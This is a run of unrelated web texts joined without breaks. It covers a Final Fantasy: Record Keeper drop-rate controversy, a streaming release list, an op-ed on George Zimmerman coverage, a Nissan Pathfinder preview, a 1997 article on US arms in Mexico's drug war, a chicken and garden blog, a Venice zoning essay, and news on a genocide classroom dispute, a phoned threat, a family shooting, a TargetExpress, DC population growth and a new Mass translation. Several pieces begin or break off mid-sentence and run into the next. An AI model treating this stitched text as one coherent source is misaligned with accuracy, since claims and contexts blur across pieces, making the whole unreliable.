Update, 04/11/2016: The Final Fantasy: Record Keeper subreddit poll linked in this article indicates the drop rate for rare Final Fantasy Tactics-related items is likely at the level considered normal for Record Keeper's other rare items, barring small discrepencies. That said, we'd still like DeNA and other mobile game publishers to generally be more open about item drop rates.
The Western iteration of Square-Enix's unique mobile RPG, Final Fantasy: Record Keeper, turned a year old in March. The game, which brings new and old Final Fantasy characters together for epic battles against familiar foes, has remained consistently popular since its launch.
In fact, Final Fantasy: Record Keeper is so popular that hundreds of players gathered on the game's subreddit to try and calculate whether or not the game's publisher, DeNA, is tampering with drop rates for a highly-anticipated event.
An "event" in Record Keeper is a timed festival that highlights a specific Final Fantasy universe or title. The most recent event, which is at the root of mobile gaming's latest free-to-play controversy, revolves around Final Fantasy Tactics. During the event, players are supposed to be able to draw powerful Tactics-related weapons and armor, Gashapon-style.
Unsurprisingly, the more powerful weapons and armor are that much harder to score. That's nothing new for Record Keeper, which lets you pay for draws using Mythril (which you earn in-game) or Gems (which you purchase with real-world cash).
Spent $50 trying to draw a rare sword? Blame yourself or bad algorithms.
But members of the Record Keeper subreddit have been doing some number-crunching, and they're accusing DeNA of tampering with drop rates for the Final Fantasy Tactics event. Here's the breakdown so far.
Obviously, the Record Keeper subreddit is using imperfect science here. While the ongoing poll is interesting, it shouldn't be accepted as definite proof that DeNA is messing with its rate drops. For its part, DeNA stoutly denied any such tampering when it was confronted by Forbes.
At the same time, Record Keeper fans can hardly be blamed for their suspicions. When a large group of dedicated players stands up as a collective and says "There's a problem here," that group shouldn't be ignored -- especially since many Record Keeper enthusiasts have been doing their thing on a day-by-day basis for better than a year now, and are therefore familiar with the ins-and-outs of free-to-play mechanics.
If these players sense the wind has changed, they probably have a good reason for believing so. After all, mobile game publishers don't always play fair when it comes to premium loot drops. Granblue Fantasy, a mobile RPG that's hugely popular in Japan, was the target of similar controversy last month when a player spent thousands of dollars on the game's crystal-based Gashapon system to try and score a rare character, Anchira. He succeeded after cracking open 2,276 crystals at ¥300 ($2.67 USD) apiece, totaling roughly ¥655,000 ($6,065 USD).
Granblue Fantasy is published by Cygames, not DeNA, but the message Record Keeper fans are sending should be heard by all of mobile gaming's publishing giants: There needs to be a lot more transparency about loot drop algorithms. If people want to spend crazy amounts of money pursuing a 1% drop, that's totally their right as a citizen of the free world. But they deserve to know the odds. We all do.
At least you can always beat up Garuda for free.
DeNA supposedly agrees, telling Forbes "[W]e are discussing how we can provide greater drop rate transparency so that our fans can make their own decisions based on it to enjoy our title in the future (...) We value long-term relationship with our customers the most."
If DeNA is smart, its promise for transparency won't prove to be empty PR corporate speak. Mobile gaming isn't for everyone, but people who enjoy it enter an unspoken contract with publishers when they delve into a long-term investment like Final Fantasy: Record Keeper. If said publishers are honest, up-front, open-handed, players are far likelier to stick around and spend money.
If, on the other hand, a publisher decides to jerk its players around, it should keep in mind that we're never more than one download away from the next shiny-looking mobile RPG.Coming Soon
The Order
Out to avenge his mother's death, a college student pledges a secret order and lands in a war between werewolves and practitioners of dark magic.
Huck
Huck uses his special gifts to do good deeds, but when his secret is revealed, he winds up on a life-changing adventure. Based on Mark Millar's comics.
I'm Thinking of Ending Things
An unexpected detour turns a couple's road trip into a terrifying journey through their fragile psyches. Adapted and directed by Charlie Kaufman.
Ingress: The Animation
After scientists discover a mysterious substance that can influence human minds, two factions wage an all-out battle to control its awesome power.
Twelve Forever
Twelve-year-old Reggie's desire to remain a child is so powerful that it opens up a fantasy world where she never has to grow up.
Tall Girl
Standing 6-foot-3, 16-year-old "tall girl" Jodi has never had a boyfriend. But that could change when a tall exchange student enrolls at her school.
Nate Bargatze: The Tennessee Kid
Comedian Nate Bargatze takes aim at the absurdity of everyday life in an approachable and deadpan stand-up set shot in Duluth, Georgia.
Triad Princess
After growing up in the shadow of her mafia-affiliated father, Angie defies his wishes and takes a gig as an undercover bodyguard for a famous actress.Breaking news and reporting on culture is tough work. It requires content creators to constantly be “on” and in touch with what people are watching, listening to and talking about. We have to use these conversations and events to come up with fresh angles and ask hard questions in order to stay ahead of the curve — or, at the very least, keep up with it. On any given day, there is likely to be an abundance of story opportunities. But some stories are not without proverbial baggage, and choosing to cover them can be extremely problematic.
I would argue that this is certainly the case with recent coverage of George Zimmerman. The coverage of Zimmerman’s latest antics — namely, trying to sell the gun with which he shot Trayvon Martin — raises several important questions: In choosing to report certain news items, what stories are being erased and devalued in the process? What reader/viewer/listener emotions are being relied on, and why? And lastly, how does this coverage reflect the values of the publication or entity?
The death of unarmed teenager Trayvon Martin in 2012 was a major event in US culture. The subsequent events — including the trial of the man who shot him but was ultimately found not guilty of his murder, i.e. George Zimmerman — have drastically shifted conversations about race in America, brought boiling racial tensions to the surface of the country’s consciousness, and were a catalyst for the most powerful social movement since Civil Rights, Black Lives Matter.
The lingering effects of Martin’s death, and the similar events that followed in 2014 — in New York with Eric Garner and Ferguson with Mike Brown — have sustained media outlets since then. Many have taken a greater interest in incidents of police brutality and other state-based violence against black people, the activism work against it, and legal processes, if any, associated with these cases. In the Martin case, though, many news outlets have unfortunately taken an continuing interest, an interest that Zimmerman clearly relishes and encourages. The continuing coverage has allowed him to develop into perhaps the decade’s worst troll.
Zimmerman has made scathing remarks about Black Lives Matter, which he considers to be violent and anti-police. He is reluctant to endorse Donald Trump but is staunchly against Hillary Clinton, who he considers a liar. He claims that Martin’s parents failed at raising their son properly, which is the reason Martin is dead. And he has recently auctioned the gun that he used to shoot Martin for a profit. Not only is Zimmerman a killer, he is the worst kind of narcissist, using the death of a kid at his hands as a platform for attention and wealth. And blogs, news sources, and Twitter have decided to feed the troll by giving these stories headlines and covering them as cultural news.
For what it’s worth, I completely expected this from conservative pundits and outlets, who have embraced opposition to racial justice in any form. But to see liberals and progressives following suit is disturbing. Obviously traffic for stories like this in liberal outlets is driven by feelings of rage and shock from readers who detest Zimmerman and what he stands for. But in what ways does strengthening Zimmerman’s platform and increasing his social capital aid liberal and progressive values for a more just world where the stories of the most marginalized are included in the fold? What happens to Martin’s family, or his friend Rachel Jeantel — a black girl who was on the phone with Martin in his final moments and played a key witness role in the trial — when Zimmerman is continuously the focus of these stories?
So long as the focus remains on Zimmerman, there are fewer opportunities to examine how violence affects families of color. Instead, audiences are positioned to understand the intricacies of hate and racist ideologies. There is no justice or honor for Martin, or any victim of racist violence, in that.
I know all I need to know about George Zimmerman. He is alive and free to live his life and make an ass of himself while Trayvon Martin is dead. I don’t care how he feels about politics or the family of the boy he killed. I will not share or retweet any more posts related to him, unless they involve him being held accountable for his crimes and his bullshit. I will not help him prosper by sending clicks and traffic to posts that increase his exposure.
Journalists, commentators, and reporters define what news is, just as much as they cover it. And there is definitely room to ask: when and how should that media power be leveraged to withhold information? What possibilities for a better and more just world exist when we do?AutoGuide.com
The popular Nissan Pathfinder has been refreshed for 2017. This large, three-row crossover has been extensively revised, sporting new exterior styling, an enhanced powertrain, and, of course, plenty of interior updates.
At first blush, it now fits in nicely with the rest of Nissan’s lineup, as it gains a V-Motion grille and with fresh headlamps. The hood is also more aggressively styled and the front and rear bumpers have been reworked.
Not only do these surface changes improve the Pathfinder’s outward appearance, they also make it more functional. Aerodynamics are better than before, plus there’s enhanced cooling to help keep engine temperatures in check.
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Speaking of propulsion, you’ll still find a 3.5-liter V6 onboard, but it’s been overhauled with a host of fresh components. The pistons are new, there’s a reworked intake manifold, the compression ratio now measures 11-to-1 and it finally sports direct fuel injection.
All told, these changes increase horsepower to 284, up from just 260. Torque also swells to 259 lb-ft compared to just 240 last year. As expected, an Xtronic CVT is the only transmission available, though you can opt for either two- or four-wheel drive.
SEE ALSO: 2016 Nissan Titan XD Gas Review
Thanks to the power and torque increases as well as body reinforcements, the Pathfinder’s tow rating has increased by a full 1,000 pounds. When properly equipped, it now tops out at a class-leading 6,000 pounds.
Despite all of these enhancements, fuel economy is projected to remain the same. Nissan estimates a 2017 front-wheel-drive model will sticker at 20 miles per gallon city and 27 on the highway, figures that result in a score of 22 mpg combined.
As for creature comforts, there’s an available motion-activated liftgate, which opens at the wave of a foot. Inside, there are new cupholders designed to accommodate the handles of large mugs, plus there are now two USB ports in the center console storage bin.
On the dashboard, there’s a standard eight-inch touchscreen, plus Bluetooth connectivity, voice recognition, Satellite radio, and other connected services.
The 2017 Nissan Pathfinder also offers a raft of luxury amenities like a 13-speaker Bose sound system, and tri-zone climate and entertainment systems, plus it rolls on stylish 18-inch wheels, though 20s are standard on Platinum models. Pricing for this versatile vehicle has not been released at this time, but it should go on sale soon.
Discuss this story on our Nissan Pathfinder ForumThe US Arms Both Sides of Mexico's Drug War By Lora Lumpe Covert Action Quarterly, Summer 1997, Number 61, pp. 39-46. Mexican narcotraffickers and other criminals easily obtain their firepower north of the border. Effectively reducing the flow of illegal arms would mean tightening laws on gun sales and ownership in the US. Instead, the Clinton administration increasingly militarizes Mexico's drug war, by providing more weapons aid and encouraging the military to become more involved. On March 14, when federal agents opened two crates in a "left cargo" hold at the Otay Mesa border crossing near San Diego, California, they uncovered the largest illegal shipment of arms ever intercepted in the United States en route to Mexico. The weapons-thousands of unassembled grenade launchers and parts for M2 automatic rifles-had been sitting unclaimed for two months. The discovery was a PR godsend for the Mexican government, following as it did on the heels of an embarrassing disclosure in February that Mexico's top drug enforcement official was on the take from narcos, and a messy skirmish between the White House and Congress about whether to "certify" Mexico as acting in good faith to counter drug trafficking. Mexico City quickly used news of the weapons cache to turn the spotlight away from its drug scandals and focus it on America's gun problem. No doubt stung by daily criticism from Washington, Mexican officials were less than diplomatic: We're simply not satisfied" with US efforts to stem the flow of arms into Mexico, said Marco Provencio, assistant undersecretary of foreign relations.1 The Mexican ambassador to Washington, Jesus Silva-Herzog, complained, When we talk about drugs they say it [the problem] is supply, and when we bring up alms they respond that it's the demand. In other words, we can never win."2 Let's Outlaw Illegal Guns It was not the first time Mexico had protested the flow of weapons. For several years now, that government has pointed out that Mexican drug cartels (and other criminals) are getting their arms north of the border; for several years, Mexico City has asked that Washington take effective steps to address this issue. Washington has responded in several ways. First, successive administrations have downplayed Mexican concerns or labeled them as disingenuous--simply an effort to deflect attention from Mexico's official corruption and inept war on drugs. More recently, the Clinton administration has seemingly acknowledged the link between the gray and black arms markets and narcotrafficking, at least rhetorically. In his keynote speech before the 50th UN General Assembly, for example, President Clinton focused on the global threat posed by terrorism, organized crime, and drug trafficking. 4Noone is immune, not the people of Latin America or Southeast Asia, where drug traffickers wielding imported weapons have murdered judges, journalists, police officers and innocent passersby," said the president. Citing the facility with which these groups obtain the weapons needed for their operations, Clinton urged states to work with Washington "to shut down the gray markets that outfit terrorists and criminals with |
problem of police murders in Albuquerque, and the history of Japanese Internment camps.This week's episode will be: Albuquerque: A Badge is NOT a License to Kill.Posted by Heather Harris
Before
After (but before I planted it)
Stripping the Sod
Digging the Steps
Proof of Life (for my father-in-law)
Two more eggs today!
Luke Enjoying the Fire Pit
I left off way back in February with a plan for the herb garden/fire pit. Well...it's done! It went pretty fast...too fast...too easy...I'm waiting for something to go wrong. Like the one hundred pound basalt rocks to come sliding off the hill, or all of the new plants to get dug up and tossed around the yard in a midnight raccoon grub raid. All indicators are pointing to success though. With any luck I will be reclining in an Adirondack chair surrounded by a blooming hedge of edible herbs by mid-July.Of course that takes a little imagination right now. I always forget how bleak new landscaping looks right after you finish the project. It looks out of place, like someone took a weapon to the old plot, scraped, hacked and tore up the offending turf, and then slapped down some foreign materials of rock, soil and scrawny plants to fill in the scar. A bit like an invading army setting up camp in a hard-won battle field. It doesn't quite look permanent or particularly as victorious as you imagined, because, like everything with gardening, it takes time.Speaking of time, it has taken seven years and 10 chickens, but I have finally witnessed a chicken that I own lay an egg! My sad track record of unwanted roosters, vanishing chicks, hungry coyotes, villainous raccoons, and mysterious deaths is finally at an end. THE HARRIS FAMILY HAS A CHICKEN EGG! Yes, we have only had the chickens two days. Sure, they could be dead tomorrow. Yes, my five year old is so jaded that he said, "Let's not give these ones names".Yes, I cheated and procured two hens that have verifiably laid eggs in the past. No, I don't care how pathetic I am. THERE IS AN EGG IN THE %^#&* CHICKEN COOP!The treasured ovum was carried ceremoniously into the house by my daughter and immediately whipped into pasta carbonara before anything else could happen to it. It might be the best meal I ever ate. I hope those chickens like their new secure, wire-swathed fortress because they are NEVER getting out, and with the protection of zip ties, 10 guage and the Lord God Almighty, nothing is getting in either! Here's to an omelette by Saturday!Another passage betrays a similar failure:
There is a reason neighbors have trigger tempers when confronted with new projects on streets like Abbot Kinney, which has become a gridlock-plagued tourist destination, rather than a neighborhood commercial district. Developers seem characterologically unable to conceive projects that are sensitive from the get-go. It’s always: burst through the door with a ridiculously overambitious plan, then scale back when the inevitable NIMBY explosion occurs. When developers proposed a first-ever hotel on Abbot Kinney, they roared in with a design for a four-story, 92-room monolith that would have taken up an entire block. Neighbors (naturally) objected, and the project, still on the drawing board, has been scaled back. Even so, 14,600 square feet of existing commercial space will more than quadruple to 64,000.
Many of my anti-growth neighbors are upset that Abbot Kinney boutiques are so expensive, and that whole categories of businesses are priced out; yet they regard it as self-evident that quadrupling the supply of commercial space is “ridiculously overambitious.”
As for calling a four-story hotel a “monolith,” there is a historical irony in complaining that Abbot Kinney Boulevard is a tourist destination. Abbot Kinney, the founder of Venice Beach, was an eccentric real estate developer who dug canals here in hopes of creating a pleasure resort for the rich, a Venice, Italy, of the Western United States. The street that bears his name is very much in keeping with the spirit of his plans for this community, which was inevitably going to be a tourist destination––it is, after all, a gorgeous stretch of coast in America’s second biggest city, tucked between a resort at Santa Monica and a boat marina.
Indeed, the Venice Beach boardwalk has long been among the most visited tourist destinations in L.A. And for as long, there’s been a severe shortage of Venice hotel rooms.
Again, reality imposes unavoidable tradeoffs. Absent more hotel rooms in Venice Beach, it’s relatively more expensive to visit, foreclosing a travel destination to some and causing local businesses to cater more to the richer folks who can stay; meanwhile, more visitors drive here, exacerbating heavy beach traffic in the summer; and still others turn to vacation rental sites like AirBnB, which the anti-growth set despises for affecting the local rental market in ways more hotel rooms would mitigate.
Few anti-growth locals acknowledge these tradeoffs, especially when their preferences impose significant costs on folks less wealthy than they are. And when they do mention competing choices, they tend to exaggerate the options before Venice residents.
To the prospect of relaxed zoning restrictions that would allow tall new buildings in most Los Angeles neighborhoods, the column responding to the Wall Street Journal introduces Robin Rudisill, an activist who is okay with growth in some parts of Los Angeles, but not Venice or neighborhoods like it. The column characterizes her views as follows:
Rosenfeld thinks that the suburbs and neighborhoods such as Venice with special character should be treated very gingerly, but that the city core—ringed by the Harbor, Hollywood, Golden State and Santa Monica freeways—could absorb almost limitless growth. “Single-family neighborhoods to me are sacred,” said Rosenfeld, who would be comfortable with 100-story buildings inside the freeway ring, Tokyo-style. “We all admire the quality of, first, the bungalows, then the ranch houses. Life is too short, for me as a developer, to want to change the character of our pristine single-family neighborhoods.”
Anyone who has visited Venice Beach lately is probably chuckling at the notion that it is “pristine.” The neighborhood has multiple homeless encampments, stretches of people living in RVs and cars, with all the attendant waste disposal challenges, and lots of stretches of boardwalk where walking barefoot would be extremely ill-advised. But the bigger problem with the argument, as presented in the column, is the way it elides the vast middle ground between 100-story skyscrapers and nothing-but-bungalows-and-ranch-houses, structures no one proposes totally eliminating.Sacramento State University said Monday a student who firmly disputed a history professor’s interpretation of genocide was not expelled from the course for her conduct as initially reported. History professor Maury Wiseman ended class early Friday after Native-American student Chiitaanibah Johnson allegedly hijacked the class by presenting her argument for why genocide is an apt description of what happened to native people at the hands of European colonizers and their descendants.
“The university would like to make it clear that our student, Chiitaanibah Johnson, was not expelled or disenrolled from this history course. Under university policy, a professor cannot unilaterally disenroll a student from a class,” said a statement released Monday by President Robert S. Nelsen, who said he is investigating what happened before taking any action.
Johnson told Indian Country Today Media Network in a report published Sunday Wiseman told the class he doesn’t believe the subjugation and treatment of the native population rose to the level of genocide.
“He was talking about Native America and he said the word genocide,” said Johnson. “He paused and said: ‘I don't like to use that word because I think it is too strong for what happened,’ and ‘Genocide implies that it was on purpose and most native people were wiped out by European diseases.' "
The debate over how to interpret the treatment of Native Americans flared on the national stage when the Republican National Committee passed a resolution in August 2014 demanding an investigation into advanced high school history classes for what the RNC called a biased interpretation of America’s past. They criticized the way the curriculum focused on the negative effects on Native-American populations from the western expansion of white settlers. So far, no public school curriculum teaches students Native Americans were victims of genocide.
@sacstate Genocide denial is bigotry not academia. If you endorse it by keeping #MauryWiseman then it is also racism https://t.co/joZNOEhclP — Walalaflower (@saveelati) September 7, 2015
Genocide is typically ascribed to events like Russia’s Great Purge of the 1930s (1.2 million killed), the Jewish Holocaust of the 1940s (6 million killed), Cambodia’s Khmer Rouge “purification” campaign in the 1970s (2 million killed) or the Rwandan slaughter in the 1990s (1 million killed). These genocides are characterized by vast amounts of organized mass killing within short periods of time.
A debate lingers in the U.S. over how to characterize the decimation of the native population. By some estimates, the North American native population dropped from 12 million in 1500, eight years after Christopher Columbus accidentally bumped into the Americas on his way to Asia, to fewer than 300,000 by 1900. Most of those deaths happened early and were biological -- Native Americans didn’t have immunity to diseases the European colonizers carried with them.
@48thAve Perhaps #MauryWiseman will allow Raphael Lemkin to explain it: CF Revised Outline for Genocidal Cases http://t.co/HjoxxnqwwY — Elizabeth Ferrari (@48thAve) September 7, 2015
But proponents of the genocide line point out the definition of genocide includes certain aspects of what was inflicted on Native Americans, including cultural repression in Native-American boarding schools and the forced removal of entire populations from their native lands.
The United Nations defines genocide as "any of the following acts committed with intent to destroy, in whole or in part, a national, ethnical, racial or religious group, as such: killing members of the group; causing serious bodily or mental harm to members of the group; deliberately inflicting on the group conditions of life calculated to bring about its physical destruction in whole or in part; imposing measures intended to prevent births within the group; [and] forcibly transferring children of the group to another group."A Fountain woman is being held at the El Paso County jail after making threatening statements about the Republican Party in a phone call to a Denver Planned Parenthood, authorities said.
Police on Wednesday identified the woman as 54-year-old Fern Roberta Delise.
On Tuesday, Delise allegedly called the Planned Parenthood facility in Colorado Springs, which remains closed after the Nov. 27 mass shooting, and the call was transferred to a Planned Parenthood in Denver, Fountain police said in a media release.
During the call, Delise allegedly made verbal threats directed at the Republican Party.
According to the release, Delise stated: “It is tempting to walk into a Republican Party meeting with her dead husband’s gun and just start shooting people.”
“We received a report of a Fountain resident calling Planned Parenthood in Denver and making what we determined were inappropriate, potentially hostile comments,” Fountain Police Chief Chris Heberer told the Gazette. “With everything that has happened in our county and our nation, we’re not going to tolerate that.”
Investigators are talking with the FBI about potential charges, Heberer said.
Delise was booked into the El Paso County Jail on suspicion of menacing. A search warrant was served at her home and investigators seized firearm accessories and handgun ammunition, police said.
No firearms were recovered.Daughter kills mother and brother before being shot dead by her own father as family feud 'over inheritance' ends with four dead
Josephine Ruckinger, 43, and her husband Jeffrey, 43, plotted to kill Josephine's family at their house in rural Pennsylvania
Mrs Ruckinger shot dead her mother when she answered the door
Jeffrey killed Mrs Ruckinger's brother
Father John Frew Sr shot Josephine in the head before realizing it was his own daughter
He then killed Jeffrey
Josephine's aunt said family was furious after she 'took everything' from her ailing grandmother before she died in 2007
Start of it all: A 2009 obituary photo for Josephine M. Patterson, Mrs Ruckinger's grandmother and apparent namesake. Ruckinger first split with her family after allegedly bleeding her grandmother dry as she died 20 years ago
A long-running feud in a Pennsylvania family ended in violence after a woman and her husband broke into her parents' home and killed her mother and brother - before the two were shot dead by the woman's own father, police have revealed today.
The horrific violence Friday night that left four dead and only one survivor in the house in rural Ashville, Pennsylvania, may have been sparked over lingering resentment over inheritance, a family member revealed exclusively to MailOnline.
Josephine Ruckinger, 43, 'hated' her family and plotted with her husband Jeffrey Ruckinger, 43, to murder all of them in their house on Friday night.
Mrs Ruckinger, who had been estranged from her family for years, rang the doorbell at her her family home and ambushed her mother Roberta Frew, 64.
Roberta cried out, 'Oh my God, they have guns!' before Mrs Ruckinger opened fire at point-blank range with a sawed-off shotgun.
Family feud: A 'long-running feud between the Frew and Rucker families ended with four shot dead as a man lost his wife and son
Rural: The killings happened at a home outside Ashville, Pennsylvania, in a sparsely-populated county
John Frew Jr., 47, tried to grab a gun, but Mr Ruckinger, a truck mechanic, shot him multiple times in the chest with a Derringer and a.22-caliber pistol.
Mrs Ruckinger's father, John Frew Sr. retrieved a.22-caliber revolver, not realizing who the attackers were.
‘As he emerged into the room, he observed the female intruder down on one knee and at that point, he observed the 12-gauge shotgun pointing in his direction,’ State Trooper spokesman John Matchik. told the Pittsburgh Post-Gazette.
That's when Mr Frew shot his daughter in the head.
Police say Mr Frew then turned and saw Mr R uckinger, who fired a shotgun at him from the trailer's kitchen. Mr Frew returne d fire. Ruckinger was shot dead in the head.
Mr Frew was not injured and called 911 when the shooting stopped.
Upon their arrival, police found Mrs Ruckinger still alive but with a gunshot wound in the head. She was rushed to Altoona UPMC Trauma Center where she was later pronounced dead.
Toxicology tests have yet to be completed on the deceased.
'He had no idea that was his daughter,' said Trooper Matchik, 'until everything had unfolded.'
Police say Josephine Ruckinger immediately shot her mother at point blank range after the door of the double wide trailer opened Friday night. She and her husband then entered the family home and Jeff Ruckinger shot and killed Josephine's bother John Frew Junior, 47. John Frew Senior then shot and killed them both
Invasion: Police searched the Ruckingers' car, which was parked at the bottom of the gravel driveway, and found loads of ammunition, a gas can, and a container of lighter fluid
Officers searched the Ruckinger's Suzuki Esteem station wagon and found a large amount of ammunition, a gas can, and a can of lighter fluid, reports the Post-Gazette.
Roberta Frew's sister, Virginia Cruse, said the daughter and mother did not get along, but that she had no idea what spawned Friday's tragedy. The daughter had 'a hatred toward the family,' she said.
When Josephine was about 20, she and a boyfriend trashed her parents' home and stole items including a pistol, then fled to Pittsburgh, Cruse said. After that, she said,'more or less, they disowned her.'
Roberta's other sister Carol Skinner told MailOnline that the family was angry after Mrs Ruckinger moved her grandmother - Roberta and Carol's mother - in with her and her husband shortly before she died in 2007.
'We're all pretty mad at her for that little stunt. She took everything from my mom before she passed away,' Mrs Skinner said.
Self defense: 'He had no idea that was his daughter until after the fact, after everything unfolded,' said Pennsylvania State Police Trooper John Matchik Jr.
Planned: 'Clearly these two individuals came to this house to carry out a planned deadly attack on his family,' said Cambria County District Attorney, Kelly Callihan. 'I would characterize it as a home invasion that was a murder plot'
Mrs Skinner said bonds, jewelry and thousands of dollars in cash disappeared while Josephine was taking care of her.
She added that Josephine's feud with her family has been running for decades.
Jeff Ruckinger's brother Brian Ruckinger told triblive.com that his brother and Josephine had been married a few years and had no children.
Some neighbors said that they did not even know the Frews had a daughter - they thought John Jr was the couple's only child.
But the shootings quickly became the talk of Ashville, a town described as being very quiet with little or no industry.
'It's an older town,' resident Joe Speranza told triblive. 'We're not used to this. It's very unusual for this to happen over here. You would never think anything like this would happen.'
Ken Wills, neighbor of the Frews, couldn't agree more:MINNEAPOLIS (WCCO) — Target is testing out a brand new store format–right here in Minnesota. The company announced it will be building a TargetExpress at the intersection of 14th Ave. and 5th Street in Dinkytown by the University of Minnesota.
“It’s definitely something we could use,” sophomore Samantha Miller said.
The 20,000 square foot beta store will offer health and beauty products, groceries, and portable electronics. It will be about 15 percent of the size of the company’s regular retail stores.
“There are a lot of people coming in and out and it’s a central location. I think it will be good,” sophomore Jessica Mlzia said. “It will have more options.”
TargetExpress replaces the historic House of Hanson convenience store that closed in the same intersection last summer.
“These things are an expression of what we call format strategies,” University of Minnesota professor of marketing George John said. “Gives the notion it’s quick, in-and-out, and we’ll make it simple for you.”
John said the key to Target’s success in Dinkytown will be if it can balance cost benefits with the independent store appeal of customization.
“They’ve got to convince you to come in find the products you want pick something up and hopefully make some money off of it,” he said.
“Express” or not, many students were excited to see the bull’s-eye on the corner.
“Everyone goes to Target,” Miller said.The District has gained more than 16,000 residents since last spring, growing at a pace that outstripped anything seen in the boom years preceding it.
Census figures released Wednesday estimated the city’s population was 618,000 in July, up 2.7 percent from the census figure in April last year. The current growth spurt is so rapid that the District is on track to draw more newcomers in two years than it did in the entire decade before.
The District’s expansion is all the more remarkable when compared to the rest of the country, which is experiencing its slowest growth since the end of World War II.
The District’s population figures cap a decade of success in maneuvering a turnaround in the city’s fortunes, and its image. Barely 15 years ago, the District had a widespread reputation for having streets that wouldn’t get plowed after a winter storm and that were crime-ridden in any season. Now, the District routinely shows up on lists of cool cities where young people gravitate, and it is drawing as many young adults as ultra-hip Austin and Portland.
Three in four newcomers in recent years have been between the ages of 18 and 34. They have zero interest in the suburbs.
“We’re still young. We don’t think of ourselves as suburban people yet,” said Kristina Montanero, 26, who moved to the District from Nashville a year ago after her fiance got hired by the U.S. Attorney’s Office. They settled in a one-bedroom apartment near Chinatown. They expect to remain in the city when their lease ends in February, and they want to explore looking for another apartment in Dupont Circle or Logan Circle.
City officials could barely contain their enthusiasm over the population growth.
Harriet Tregoning, the city’s planning director, pronounced it “epic” and noted that if the pace continues, the city will crack the 700,000 mark before the end of the decade.
“I kept saying, please let it not be a bubble,” she said. “Let it really be about growth in the city.”
There are signs that the city is poised to keep getting bigger. In the first nine months of this year, the city approved building permits for 3,000 new housing units, which Tregoning called an all-time record.
But some demographers warned that federal budget cuts could slow or even stall growth in the region. Maryland grew nine-tenths of 1 percent, the same as the nation, and Virginia was up 1.2 percent.
“If there are significant cuts to federal spending, positions could be cut and fewer people will come here,” said Lisa Ann Sturtevant, a researcher with George Mason University’s Center for Regional Analysis. “That’s as true for the Virginia suburbs and Maryland as it is for the District.”
The leap in population came almost nine years after former Mayor Anthony Williams set a goal of attracting 100,000 new residents to the District over a decade. He took over the city at its low point of 572,000 residents. At 618,000, the city is not quite halfway there and is farther still from its high of 802,000 residents in 1950.
But many long-time residents say they can see the city’s transformation every day.
“It’s fantastic, for the city and for American cities in general,” said Patrick Phillips, head of the Urban Land Institute and a 25-year resident of the District. “To have recovered population and to be in a position of growth after such a long period of urban decline is really encouraging. New people mean new energy, new ideas, new enthusiasm and new money. It’s stunning these days to drive across the District and see how it’s changed.”
The population estimates made public Wednesday used recorded births and deaths and the addresses on IRS tax forms to determine how much an area has changed since the 2010 census. Counts were made only on the state level, so it’s not possible to determine how much of Virginia and Maryland’s growth was in the Washington suburbs. Nor can the District, which is treated as a state because of its unique status, be compared to other cities.
The census numbers, like those of recent vintage, were symptomatic of the economic and demographic state of the country. All but three states had some growth, but the rate had slowed in 41 states.
William F. Frey, a demographer with the Brookings Institution, said low growth rates were the result of an increasing number of people aging beyond childbearing years and the lowest immigration rates in decades.
“There are a couple bright spots, and the District is one of them,” he said. “It’s in a region where the economy is able to survive all the downturn we’ve seen, because of government-related employment and universities attracting young people who want to jumpstart their careers.”
Mayor Vincent C. Gray (D) cited the economy in a press release noting that the District’s growth rate was bigger than that of Texas.
“It’s no secret that the District is one of the most dynamic cities in the country and that we have made significant efforts to grow and diversify our economy,” he said.
While the District’s growth rate is impressive, in raw numbers Virginia still gets the lion’s share of the people who move to the region. But the District is rapidly gaining ground.
Ebonie Johnson Cooper, 28, moved from Brooklyn to the city’s Chevy Chase neighborhood after accepting a job offer at KaBOOM, a nonprofit organization that restores play areas for children. As a part-time graduate student at New York University, Cooper had often visited friends in the District before becoming a resident.
“It’s still growing on me,” Cooper said of the city.
The District must find more ways to retain residents like Montanero and Cooper to keep growing, said Peter Tatian, an Urban Institute researcher.
“A lot of younger people are going to be renting, not buying,” he said. “They’re people who came here on a whim and could leave on a whim if they decide there’s a better place to be in the future. The city needs to think ahead to make sure a lot of those folks coming now are going to stay long term.”
In other words, after they marry and have children approaching school age. Sturtevant called schools the Achilles heel of the District’s growth.
Phillips of the Urban Land Institute predicted that many newcomers will stay, get involved in their children’s schools and demand more resources for those schools.
“At some point, this growth will lead to some improvement in the schools,” he said. “In the meantime, we’re all enjoying better restaurants, more convenient local services, safer streets and the feeling that we have a community that’s healthy and growing and attractive.”
Database editor Ted Mellnik contributed to this report.
Read more on PostLocal.com:
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Man's stolen iPhone leads officers to thieves
Teen juggles college, three jobs and three-year-oldAnd though he had carefully studied the new service, even Monsignor Ritchie lost his place at one point, raising his eyebrows as he flipped through the missal, looking for the right words before the start of communion.
Across the Atlantic, the scene was similar at Westminster Cathedral in London, where the pews were filled with worshipers clutching freshly printed pamphlets under soaring, dark stone ceilings.
The Rev. Alexander Master, celebrating the Mass, made no direct mention of the change, but his sermon centered on the concept of upheaval, which, he said, had been “especially marked” this year. What the future holds, he said, “is known only to God.”
The new translation, phased in throughout the English-speaking world over the past year, was officially introduced over the weekend in every English-language Mass in the United States, Canada, the United Kingdom and India.
Because the form of the Mass was not changed — just the details of the translation — many Catholics reacted mildly.
Rebecca Brown, a parishioner at St. James Cathedral in Seattle, said she felt well prepared for the new translation. “I’m not fond of the linguistic choices, how it rolls off the tongue,” Ms. Brown said. “But on the other hand, the Catholic Church is always about renewal and reforming itself. This is just one of those changes.”
“It was interesting,” said Danielle McGinley, 31, a parishioner at the Cathedral of Our Lady of the Angels in downtown Los Angeles. “It feels more like a Spanish Mass to me. The Spanish Mass is a more literal translation. I like it.”
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But George Lind, 73, in New York, had a more visceral reaction. He tried to say the new language at the Church of the Holy Cross in Times Square during the Saturday night Mass, he said, but he became so angry that he had to stop speaking.
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“I am so tired of being told exactly what I have to say, exactly what I have to pray,” he said. “I believe in God, and to me that is the important thing. This is some attempt on the part of the church hierarchy to look important.”
Most of the changes are within the prayers the priests say, but there are some notable differences in the responses by worshipers. The Nicene Creed, the central profession of faith, now starts with “I believe in one God” instead of “We believe in one God.” Jesus is now “consubstantial with the Father” rather than “one in Being with the Father.” Communion begins with the words, “Lord, I am not worthy that you should enter under my roof,” instead of “Lord, I am not worthy to receive you.”
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The mixed emotions in the pews broadly mirrored the reception that the new translation has received from clergy and liturgical scholars. More than 22,000 people, including many priests, endorsed a petition, on the Web site whatifwejustsaidwait.org, to postpone the introduction of the new Mass. An association of hundreds of Irish priests called for the translation to be scrapped.
